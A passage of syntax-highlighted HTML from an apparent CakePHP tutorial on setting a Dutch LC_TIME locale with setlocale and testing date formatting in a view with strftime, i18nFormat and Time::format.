border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
1</div>
</td><td class="code" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: 886px;"><div class="container" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: relative !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<div class="line number1 index0 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">setlocale(LC_TIME, 'nl_NL.UTF8');</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
Please note (and understand) that this will use <strong style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">your server’s locales</strong> and NOT your manually created Cake LC_TIME file.</div>
<h2 style="border: 0px; font-family: inherit; font-size: 2.25em; font-style: inherit; font-variant: inherit; line-height: 1em; margin: 0.75em 0px; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
Testing your LC_TIME setup</h2>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin-bottom: 1.6em; margin-top: 1.6em; padding: 0px; vertical-align: baseline; word-wrap: break-word;">
Add the following lines to one of your views (and make sure the TimeHelper is available):</div>
<div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<div class="syntaxhighlighter plain" id="highlighter_546054" style="background-color: white !important; border: 0px; font-family: inherit; font-size: 1em !important; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 1em 0px !important; overflow-x: auto !important; overflow-y: hidden !important; padding: 0px; position: relative !important; vertical-align: baseline; width: 918px;">
<table border="0" cellpadding="0" cellspacing="0" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-collapse: collapse; border-spacing: 0px; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: 918px;"><tbody style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<tr style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><td class="gutter" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"><div class="line number1 index0 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
1</div>
<div class="line number2 index1 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
2</div>
<div class="line number3 index2 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
3</div>
<div class="line number4 index3 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
4</div>
<div class="line number5 index4 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
5</div>
<div class="line number6 index5 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
6</div>
<div class="line number7 index6 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
7</div>
<div class="line number8 index7 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
8</div>
<div class="line number9 index8 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
9</div>
<div class="line number10 index9 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-right-color: rgb(108, 226, 108) !important; border-right-style: solid !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border-width: 0px 3px 0px 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 0.5em 0px 1em !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
10</div>
</td><td class="code" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: 878px;"><div class="container" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: relative !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">
<div class="line number1 index0 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">$timestamp = time();</code></div>
<div class="line number2 index1 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">$timestring = $this->Time->format('Y-m-d H:i:s', $timestamp);</code></div>
<div class="line number3 index2 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">$months = __c('mon', 5 ,true);</code></div>
<div class="line number4 index3 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
</div>
<div class="line number5 index4 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">pr("Timestamp = $timestamp");</code></div>
<div class="line number6 index5 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">pr("Timestring = $timestring");</code></div>
<div class="line number7 index6 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">pr("strftime() translated = " . strftime("%A %e %B %Y", strtotime($timestring)));</code></div>
<div class="line number8 index7 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">pr("i18nFormat translated = " . $this->Time->i18nFormat($timestring, "%A %e %B %Y"));</code></div>
<div class="line number9 index8 alt2" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">pr("Time::format translated = " . $this->Time->format($timestring, '%A %e %B %Y'));</code></div>
<div class="line number10 index9 alt1" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; float: none !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="plain spaces" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"> </code><code class="plain plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; direction: ltr !important; display: inline !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-variant: inherit; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">pr($months);</code></div>
</div>
